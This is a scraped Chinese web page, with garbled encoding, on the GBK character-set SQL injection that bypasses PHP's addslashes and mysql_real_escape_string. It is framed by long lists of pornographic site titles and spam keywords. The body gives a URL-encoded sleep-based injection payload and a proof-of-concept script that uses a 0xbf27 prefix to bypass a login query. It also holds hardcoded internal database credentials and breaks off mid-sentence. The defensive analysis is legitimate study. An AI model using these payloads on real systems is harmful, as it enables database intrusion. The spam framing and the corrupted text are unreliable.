亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb

首頁(yè) > 語(yǔ)言 > PHP > 正文

PHP字符編碼繞過漏洞--addslashes、mysql_real_escape漏洞

2024-09-04 11:50:22
字體:
供稿:網(wǎng)友

在上次活動(dòng)開發(fā)過程中,有個(gè)程序?qū)懥讼旅孢@樣的語(yǔ)句:

$sName = $_GET['name']; 
$sName = addslashes($sName); 
$sql = "SELECT COUNT(lGid) AS total FROM tbRank WHERE `sName` LIKE '%$sName%';"; 
var_dump($sql);  
exit(); 

結(jié)果掃描工具一掃描,發(fā)現(xiàn)問題來了,被掃除了SQL注入漏洞,而且還引發(fā)了整個(gè)數(shù)據(jù)表被鎖?。▊渥ⅲ阂姷诙糠郑?/p>

檢查安全中心掃描日志發(fā)現(xiàn):
當(dāng)SQL輸入為:
name=41%bf%27%20or%20sleep%2810.10%29%3d0%20limit%201%23
的時(shí)候引發(fā)了SQL注入。
//這里輸出:
string(98) "SELECT COUNT(lGid) AS total FROM tbRank WHERE `sName` LIKE '%41¿///' or sleep(10.10)=0 limit 1#%';"


根本原因是addslash對(duì)于字符%BF%27的漏洞。


該漏洞最早2006年被國(guó)外用來討論數(shù)據(jù)庫(kù)字符集設(shè)為GBK時(shí),0xbf27本身不是一個(gè)有效的GBK字符,但經(jīng)過  addslashes()  轉(zhuǎn)換后變?yōu)?xbf5c27,前面的0xbf5c是個(gè)有效的GBK字符,所以0xbf5c27會(huì)被當(dāng)作一個(gè)字符0xbf5c和一個(gè)單引號(hào)來處理,結(jié)果漏洞就觸發(fā)了。
          mysql_real_escape_string() 也存在相同的問題,只不過相比  addslashes() 它考慮到了用什么字符集來處理,因此可以用相應(yīng)的字符集來處理字符。
在MySQL中有兩種改變默認(rèn)字符集的方法。
方法一:
改變mysql配置文件my.cnf
 [client]
default-character-set=GBK


方法二:
在建立連接時(shí)使用
CODE:
SET  CHARACTER  SET  'GBK'
例:mysql_query("SET  CHARACTER  SET  'gbk'",  $c);或者
mysql_query(“SET NAMES ‘GBK’”, $c);


問題是方法二在改變字符集時(shí)mysql_real_escape_string() 并不知道而使用默認(rèn)字符集處理從而造成和  addslashes()  一樣的漏洞(備注:這句話是摘抄的,我也沒看懂)


網(wǎng)絡(luò)上查詢到有人說:
當(dāng)mysql_real_escape_string檢測(cè)到的編碼方式跟client設(shè)置的編碼方式(big5/bgk)不一致時(shí),mysql_real_escape_string跟addslashes是沒有區(qū)別的 
比如 
[client] 
default-character-set=latin1 


mysql_query("SET  CHARACTER  SET  'gbk'",  $mysql_conn); 
這種情況下mysql_real_escape_string  是基于  latin1工作的,是不安全的 


[client] 
default-character-set=gbk 


mysql_query("SET  CHARACTER  SET  'gbk'",  $mysql_conn); 
這種情況下,mysql_real_escape_string  基于  gbk  工作,是正常的 


但是,這里我108、153上驗(yàn)證的都不成功:
用12機(jī)器的php文件在108機(jī)器mysql上,查詢到


在153鏈接測(cè)試環(huán)境CDB結(jié)點(diǎn):
 
執(zhí)行來自:
http://ilia.ws/archives/103-mysql_real_escape_string-versus-Prepared-Statements.html的測(cè)試代碼
<?php
//$c  =  mysql_connect("localhost",  "user",  "pass");
$c = mysql_connect("10.1.164.108", "oss", "oss_da");
mysql_select_db("a_jasonyeTest", $c);


//$c = mysql_connect("10.179.12.249:3332", "oss", "oss_da");
//mysql_select_db("dbGuild20120903jasonye", $c);


mysql_select_db("database",  $c);


//  change  our  character  set
mysql_query("SET  CHARACTER  SET  'gbk'",  $c);


//  create  demo  table
mysql_query("CREATE  TABLE  users  (
        username  VARCHAR(32)  PRIMARY  KEY,
        password  VARCHAR(32)
)  CHARACTER  SET  'GBK'",  $c);
mysql_query("INSERT  INTO  users  VALUES('foo','bar'),  ('baz','test')",  $c);


//  now  the  exploit  code
$_POST['username']  =  chr(0xbf)  .  chr(0x27)  .  '  OR  username  =  username  #'; 
$_POST['password']  =  'anything'; 


//  Proper  escaping,  we  should  be  safe,  right?
$user  =  mysql_real_escape_string($_POST['username'],  $c);
$passwd  =  mysql_real_escape_string($_POST['password'],  $c);


$sql  =  "SELECT  *  FROM    users  WHERE    username  =  '{$user}'  AND  password  =  '{$passwd}'";
$res  =  mysql_query($sql,  $c);
echo  mysql_num_rows($res);  //  will  print  2,  indicating  that  we  were  able  to  fetch  all  records


?>
發(fā)現(xiàn):都存在漏洞

 


縱觀以上兩種觸發(fā)漏洞的關(guān)鍵是addslashes()、mysql_real_escape_string()在Mysql配置為GBK時(shí)就可以觸發(fā)漏洞,
另外:mysql_real_escape_string在執(zhí)行前,必須正確連接到Mysql才有效。


又有,上面產(chǎn)生漏洞的原因主是有GBK的特殊字符所引起的,因而,我們需要在進(jìn)行addslashes或者mysql_real_escape之前,對(duì)輸入字符串進(jìn)行特殊處理一下。


$this->sName = $_GET['name'];
$this->sName=iconv('utf-8//IGNORE', 'gbk', $this->sName);
$this->sName=iconv('gbk//IGNORE', 'utf-8', $this->sName);             
Iconv這種方式比較粗暴,對(duì)于不能識(shí)別的特殊字符之后的語(yǔ)句在153機(jī)器上會(huì)截?cái)嗖荒茏R(shí)別的字符后面的內(nèi)容:
如下:
string(32) "41

成人免费黄色网| 欧美极度另类性三渗透| 亚洲国产精品一区二区久久| 日本中文字幕片| 四虎成人永久免费视频| 欧美激情图片小说| 日本少妇性生活| 丰满人妻一区二区三区免费视频| 欧美成欧美va| 国产高清精品一区| 中文字幕不卡免费视频| 欧美一区二区麻豆红桃视频| 青青草成人av| 超碰在线观看免费| 久久精品人人做人人爽97| 国产麻豆剧果冻传媒视频杜鹃| 日韩精品久久久久久久的张开腿让| 亚洲AV无码国产成人久久| 婷婷视频一区二区三区| 国产精品沙发午睡系列| 日韩伦理在线视频| 亚洲午夜久久久久久久久| 在线视频在线视频7m国产| 在线区一区二视频| 在线日本视频| 亚洲国产成人精品激情在线| 久久久久久91精品色婷婷| 久久亚洲春色中文字幕久久久| 欧美一区二区中文字幕| 天堂视频免费看| 国产精品免费看久久久无码| 欧美91大片| 日韩成人综合网| 久久精品国产精品亚洲精品色| www.亚洲一区二区三区| 精品国产制服丝袜高跟| 99热在线网站| 久久99国内| 国产精品1区2区3区4区| 午夜cr在线观看高清在线视频完整版| 欧美一区第一页| 日韩精品一区二区三区四区| 国产999精品| 欧美精品久久久久久久久久丰满| 波多野结衣一区| 欧美成人xxxxx| 五月婷婷在线播放| 久久久久国产精品| 懂色av粉嫩av浪潮av| 国产av熟女一区二区三区| 精品一区二区三区五区六区七区| 午夜视频在线免费观看| 久久国产精品系列| av毛片在线播放| 中文字幕免费不卡| 日韩在线天堂| 久久久精品国产99久久精品芒果| 国产精品羞羞答答在线观看| 丁香五六月婷婷久久激情| 免费看又黄又无码的网站| 四虎国产精品成人免费入口| 毛片视频免费播放| 国内成+人亚洲+欧美+综合在线| 欧美色黄视频| 久久久久中文字幕2018| 成人h动漫免费观看网站| 欧美黑人xxxx| 国产一区二区三区电影在线观看| 天天综合网天天做天天受| 成人福利在线观看视频| 亚洲熟女www一区二区三区| 久久精品无码中文字幕| 中文字幕乱码在线观看| 欧美在线一二三| 非洲黑人最猛性xxxx交| 在线观看免费成人av| 欧美色男人天堂| 香蕉污视频在线观看| 韩国中文字幕hd久久精品| 国产精品美女一区二区在线观看| 日韩欧美亚洲视频| 欧美日韩免费一区二区三区| 国产呦精品一区二区三区网站| 天堂中文在线观看视频| 精品亚洲乱码一区二区| 欧美日韩精品一本二本三本| 男人的天堂在线视频| 国产精品蜜月aⅴ在线| а天堂8中文最新版在线官网| 97精品国产91久久久久久| 黄色精品一区| 香蕉视频色版| 97成人在线观看视频| 国产精品制服诱惑| 亚洲神马久久| 少妇久久久久久久久久| 26uuu国产在线精品一区二区| 视频精品一区二区三区| 欧美自拍大量在线观看| 国产精品免费视频一区二区三区| 日韩成人精品一区| 中文字幕亚洲精品在线观看| 九九热在线视频| 天堂va蜜桃一区二区三区漫画版| 国产在视频线精品视频| 国产妇女馒头高清泬20p多| 国产精品嫩草99av在线| 精品免费视频一卡2卡三卡4卡不卡| 精品人妻伦一二三区久久| 欧美精品色综合| 91欧美一区二区| 亚洲一道本在线| 日本高清黄色片| 在线观看欧美精品| 成人羞羞国产免费图片| 成人在线免费视频观看| 国产大片一区| 久操成人在线视频| 99国内精品| 日韩黄色高清视频| 欧美成人亚洲高清在线观看| 国产亚洲精品久久久久久牛牛| 中文字幕在线视频第一页| 欧美激情精品久久久久久变态| 国产原创剧情av| 亚洲欧美综合v| 亚洲欧美在线看| 成人在线免费电影| 久久电影tv| 亚洲欧美一区二区三区极速播放| 国内精品久久久久国产| 国产一区二区在线电影| 六月亚洲精品一区| 韩国av一区| 国产精品一国产精品最新章节| 久久伊人色综合| 日韩欧美国产综合一区| 亚洲一区二区观看| 成人午夜福利一区二区| 欧美日韩三级一区二区| 一区二区三区高清视频在线观看| 欧美视频亚洲色图| 99精品免费观看| 奇米四色中文综合久久| 亚洲成人av中文| eeuss影院www在线播放| 日韩欧美另类中文字幕| 波多野结衣乳巨码无在线| 亚洲第一成人在线视频| 136国产福利精品导航| 国内精品不卡一区二区三区| 羞羞网站在线| 中文字幕丰满乱子伦无码专区| 国产又大又黄的视频| 少女频道在线观看免费播放电视剧| 午夜视频精品| 国产区精品在线观看| missav|免费高清av在线看| 4438x成人网最大色成网站| 1区2区在线观看| 日本久久久久久久久| av免费在线网址| 黄色高清视频在线观看| 91免费精品国偷自产在线在线| 丁香花在线高清完整版视频| 91丨九色丨尤物| 久久www免费人成看片高清| 91精品啪在线观看国产爱臀| 成人天堂资源www在线| 免费a级黄色片| 久久久久成人精品无码| 精品在线视频免费| 91亚洲一区精品| 牛牛精品成人免费视频| 久草一区二区| 久久久一本精品| 婷婷综合激情网| 性爱视频日本| 精品电影在线| 欧美三级日韩三级国产三级| 另类国产ts人妖高潮视频| 水蜜桃亚洲一二三四在线| 日韩午夜电影免费看| 欧美激情欧美狂野欧美精品| 黄色成人在线观看| 国产精品熟女一区二区不卡| 在线中文字幕电影| 国产91亚洲精品久久久| 最新日韩欧美| 国产一区二区三区在线观看免费| 91成人福利视频| 日韩精品国产一区二区| 欧美精品卡一卡二| 国产精品久久久久一区| 日韩在线视频观看免费| 欧美日本一道| 欧美在线视频免费| 有码一区二区三区| 精品二区在线观看| 久久www免费人成看片高清| 美女扒开大腿让男人桶| 精品国产二区在线| 亚洲欧美国产不卡| 欧美在线观看一二区| 欧美精品一二区| 国偷自产av一区二区三区小尤奈| **网站欧美大片在线观看| 亚洲一区二区福利| 一起操在线观看| 免费观看一区二区三区毛片| 97视频在线观看免费| 久久6精品影院| 亚洲欧美日韩国产一区二区三区| 国产成人在线综合| 欧美成人亚洲成人日韩成人| 激情欧美成人久久综合小说| 亚洲一级片免费看| 精品一区二区三区免费站| 午夜精品视频一区二区三区在线看| 精品欧美一区二区久久| 久久国产在线观看| 制服.丝袜.亚洲.中文.综合懂| 成人短剧在线观看| 欧美无人区码suv| 欧美日本在线| 欧美成人乱码一区二区三区| 久久色精品视频| 日本一极黄色片| 黄色片视频免费观看| av最新在线| 激情欧美一区二区三区黑长吊| 18video性欧美19sex高清| 日韩欧美你懂的| 国产午夜在线观看| gogogo高清在线观看免费完整版| 成人久久久久久| 成人国产精品免费| 国产在线观看18| 婷婷五月色综合| 亚洲天堂网在线观看视频| 播金莲一级淫片aaaaaaa| 无码人妻久久一区二区三区蜜桃| 午夜裸体女人视频网站在线观看| 小草在线视频免费播放| 国产成人精品一区二三区四区五区| 韩国女主播成人在线观看| 日韩在线观看视频一区二区三区| 成人免费激情视频| 东方伊人免费在线观看| 日韩综合久久| wwww国产精品欧美| 久久偷窥视频| 美国欧美日韩国产在线播放| 91精品天堂| 免费网站www在线观看| 国产精品毛片在线看| 午夜不卡久久精品无码免费| 欧美jizz18性欧美| 久久国产这里只有精品| 日韩欧美一级大片| 国产美女在线播放| 亚洲第一黄色| 国产日产精品一区二区三区四区| 亚洲女同一区二区| 久久亚区不卡日本| 秋霞在线观看一区二区三区| 欧美激情喷水视频| 99久久精品免费看国产免费软件| 精品人妻一区二区三区免费看| 乱馆动漫1~6集在线观看| 成都免费高清电影| 国产伦精品一区二区三区四区免费| 久久国产精品高清一区二区三区| 国产三级精品在线观看| 日韩三级一区| 麻豆一区二区三区在线观看| 日韩av片免费观看| 一级全黄少妇性色生活片| 青青在线视频一区二区三区| 在线观看欧美视频| 91九色porn| 视频在线你懂的| 午夜不卡福利视频| 中文字幕制服丝袜| 香蕉视频亚洲一级| 99a精品视频在线观看| 奇米精品在线| 伊大人久久香线焦宗合一75大| 午夜视频一区在线观看| 日本免费在线视频不卡一不卡二| 欧美一区二区麻豆红桃视频| 亚洲第一视频在线播放| 在线免费观看的av网站| xxxxxx黄色| 六月婷婷激情综合| 国产精品成人69xxx免费视频| 亚洲永久免费观看| 免费在线视频一级不卡| 制服丝袜亚洲精品中文字幕| 久久久久成人精品无码| 欧美日韩123区| 伊人国产在线看一| 国产精品成人观看视频国产奇米| 欧美 亚洲 另类 激情 另类| 嫩草视频在线观看| 岛国毛片av在线| 精品国产福利在线| 亚洲欧美成人网| 成人拍拍拍免费视频网站| 99视频这里有精品| 97精品久久久| 浴室偷拍美女洗澡456在线| 国产精品99视频| 亚洲青涩在线| 国产精品久久久久久久久果冻传媒| 国产羞羞视频在线播放| 在线观看日韩视频| 亚洲欧美日韩一区二区三区四区| 青草全福视在线| 国产尤物视频在线| 日本特黄a级高清免费大片| 中出一区二区| 四虎成人在线观看| 宇都宫紫苑在线播放| 99久久夜色精品国产网站| 成人av一区二区三区在线观看| 永久免费看片在线播放| 国产成人av网址|